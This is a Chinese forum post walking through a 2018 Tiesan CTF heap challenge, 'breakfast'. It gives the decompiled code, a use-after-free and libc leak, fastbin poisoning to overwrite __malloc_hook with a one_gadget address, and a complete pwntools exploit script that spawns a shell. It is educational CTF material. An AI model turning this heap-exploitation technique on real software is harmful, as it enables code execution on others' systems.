首页
论坛
课程
招聘
[原创]2018铁人三项个人赛breakfast
2018-5-19 13:39 3526

[原创]2018铁人三项个人赛breakfast

2018-5-19 13:39
3526
刚开始接触pwn之前学过漏洞利用不过这还是第一次做出堆的题。2333还是很开心。
这道题是铁人三项比赛西南赛区个人赛的第二题。

0x00 信息收集

checksec检测程序,发现程序开启了Full RELRO不能覆盖got表。

0x01 流程分析

将程序拖入IDA分析,程序逻辑非常简单。


程序分四个功能。分别进行分析

功能1:create breakfast:输入两个参数,第一个为序号,第二个为大小。函数限制序号小于100,大小小于0x70,并使用第二个输入作为参数调用malloc函数。得到结论堆分配类型为fastbin。fastbin相较其他类型更为简单,使用单链表对空闲堆块进行连接。

 pre_size size
 fd 
pre_size为上一个堆块大小,size为自身大小(包含头部),fd在空闲状态有效,指向下一个空闲堆快,组成单向链表。
程序将分配到的地址根据序号保存在一个地址数组中。

 int crea()
{
  _DWORD *v0; // rsi@7
  unsigned int v1; // ebx@11
  void *v2; // rdx@11
  int result; // eax@11
  char v4; // [sp+Bh] [bp-15h]@2
  unsigned int v5; // [sp+Ch] [bp-14h]@1

  v5 = 0;
  puts("Enter the position of breakfast");
 while ( (_isoc99_scanf("%u%c", &v5, &v4) != 2 || v4 != 10) && clear_stdin("%u%c", &v5) )
    ;
  if ( v5 > 0x63 )
  {
    result = puts("Bad position");
  }
  else
  {
    puts("Enter the size in kcal.");
    do
      v0 = &ptr[v5 + 200LL];
    while ( (_isoc99_scanf("%u%c", v0, &v4) != 2 || v4 != 10) && clear_stdin("%u%c", v0) );
    if ( ptr[(unsigned __int64)v5 + 200] > 0x70u )
    {
      result = puts("Bad size.");
    }
    else
    {
      v1 = v5;
      v2 = malloc(ptr[(unsigned __int64)v5 + 200]);
      result = v1;
      *(_QWORD *)&ptr[2 * v1] = v2;
    }
  }
  return result;
}
功能2:modify  功能很简单,根据序号得到分配的堆的地址和当初分配的大小,以此为参数调用read函数,即向堆中写入。
int modify()
{
  int result; // eax@6
  char v1; // [sp+Bh] [bp-5h]@2
  unsigned int v2; // [sp+Ch] [bp-4h]@1

  v2 = 0;
  puts("Introduce the menu to ingredients");
  while ( (_isoc99_scanf("%u%c", &v2, &v1) != 2 || v1 != 10) && clear_stdin("%u%c", &v2) )
    ;
  if ( v2 > 0x63 )
  {
    result = puts("Bad position");
  }
  else
  {
    puts("Enter the ingredients");
    result = read(0, *(void **)&ptr[2 * v2], ptr[(unsigned __int64)v2 + 200]);
  }
  return result;
}
功能3:view  根据序号返回堆的内容。
int ver()
{
  int result; // eax@6
  char v1; // [sp+Bh] [bp-5h]@2
  unsigned int v2; // [sp+Ch] [bp-4h]@1

  v2 = 0;
  puts("Enter the breakfast to see");
  while ( (_isoc99_scanf("%u%c", &v2, &v1) != 2 || v1 != 10) && clear_stdin("%u%c", &v2) )
    ;
  if ( v2 > 0x63 )
    result = puts("Bad position");
  else
    result = write(1, **(const void ***)&ptr[2 * v2], ptr[(unsigned __int64)v2 + 200]);
  return result;
}
功能4: liberea 很简单,根据序号free堆,但是没有将数组中地址请空,于是存在uaf漏洞。
void libera()
{
  char v0; // [sp+Bh] [bp-5h]@2
  unsigned int v1; // [sp+Ch] [bp-4h]@1

  v1 = 0;
  puts("Introduce the menu to delete");
  while ( (_isoc99_scanf("%u%c", &v1, &v0) != 2 || v0 != 10) && clear_stdin("%u%c", &v1) )
    ;
  if ( v1 > 0x63 )
    puts("Bad position");
  else
    free(*(void **)&ptr[2 * v1]);
}

0x02 攻击分析

1.泄露libc基地址
输出函数view存在漏洞,write函数的参数输出的不是堆快内的内容,而是堆快中内容指向地址的内容。即本应输出“堆块内容",实际输出 [堆块内容],于是可以将堆块内容填充为got表地址,出题方又给了libc样本,于是可以得到libc地址。

2.利用fastbin漏洞修改内存

关于漏洞可以查看https://www.cnblogs.com/Ox9A82/p/5865420.html学习。

我们知道fastbin的单向链表链接的。而通过uaf,我们的可以覆盖这个单项链表指针。从而控制下一次malloc时候的地址。但是还存在一个检查。

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
            {
              errstr = "malloc(): memory corruption (fast)";
            errout:
              malloc_printerr (check_action, errstr, chunk2mem (victim), av);
              return NULL;
            }
          check_remalloced_chunk (av, victim, nb);
即伪造堆块的size域必须符合你申请堆的大小。但是这个验证允许错位。可以通过。现在需要知道向哪里写入什么。
3.使用one_gadget找到execve("/bin/sh")的地址。

one_gadget真是个好东西。得到了需要写入的地址。
4.由于程序开启了FULL RELRO,所以无法覆盖got表,但是malloc,realloc,free函数在开始时会查看他们对应的hook变量中是否为空,不为空则调用变量中的地址,于是寻找 malloc_hook, realloc_hook,free_hook的地址,通过比较发现malloc_hook上方内存可以伪造chunk。
malloc_hook地址为

在上方寻找伪造chunk

申请到这个地址后就可以写入malloc_hook变量为前面one_gadget得到的地址。再次调用malloc就得到shell。

0x02 攻击脚本
from pwn import *
z=process('./breakfast')
elf1=ELF('./breakfast')
elf=ELF('libc64')
z.readuntil('5.- Exit')
def  create(a,b):
	z.writeline('1')
	z.readuntil('Enter the position of breakfast')
	z.writeline(a)
	z.readuntil('Enter the size in kcal.')
	z.writeline(b)
	z.readuntil('5.- Exit')
def  write(a,b):	
	z.writeline('2')
	z.readuntil('Introduce the menu to ingredients')
	z.writeline(a)
	z.readuntil('Enter the ingredients')
	z.writeline(b)
	z.readuntil('5.- Exit')
def  see(a):	
	z.writeline('3')
	z.readuntil('Enter the breakfast to see')
	z.writeline(a)
	z.readline()
	c=u64(z.read(8))
	z.readuntil('5.- Exit')
	return c
def  dele(a):	
	z.writeline('4')
	z.readuntil('Introduce the menu to delete')
	z.writeline(a)
	z.readuntil('5.- Exit')
create('1','8')
write('1',p64(elf1.got['write']))
lib_base=see('1')-elf.symbols['write']
print  hex(lib_base+0x3c3ee0)
create('1','96')
create('2','96')

dele('1')

write('1',p64(lib_base+0x3c4aed))
print hex(lib_base+0x3c4aed)
pwnlib.gdb.attach(z)
create('1','96')
create('1','96')
write('1','a'*19+p64(0xf1147	+lib_base))
z.writeline('1')
z.readuntil('Enter the position of breakfast')
z.writeline('1')
z.readuntil('Enter the size in kcal.')
z.writeline('1')
z.interactive()	




[看雪官方]《安卓高级研修班》线下班,网课(12月)班开始同步招生!!

最后于 2019-1-28 13:19 被admin编辑 ,原因:
上传的附件:
收藏
点赞0
打赏
分享
最新回复 (7)
雪    币: 2694
活跃值: 活跃值 (58)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
BlackJZero 活跃值 2018-5-19 19:13
2
0
雪    币: 2945
活跃值: 活跃值 (33)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
V1NKe 活跃值 2 2018-5-20 14:38
3
0
雪    币: 3619
活跃值: 活跃值 (68)
能力值: ( LV15,RANK:379 )
在线值:
发帖
回帖
粉丝
Ezrak1e 活跃值 4 2018-5-20 15:40
4
0
雪    币: 3455
活跃值: 活跃值 (263)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
smartdon 活跃值 1 2018-5-22 10:12
5
0
雪    币: 33
活跃值: 活跃值 (171)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
saliey 活跃值 2018-6-2 11:26
6
0
雪    币: 25
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
黑冰Lisa 活跃值 2018-6-2 17:07
7
0
雪    币: 126
活跃值: 活跃值 (12)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
此恨不关风月 活跃值 1 2018-6-10 17:23
8
0
emmm
游客
登录 | 注册 方可回帖
返回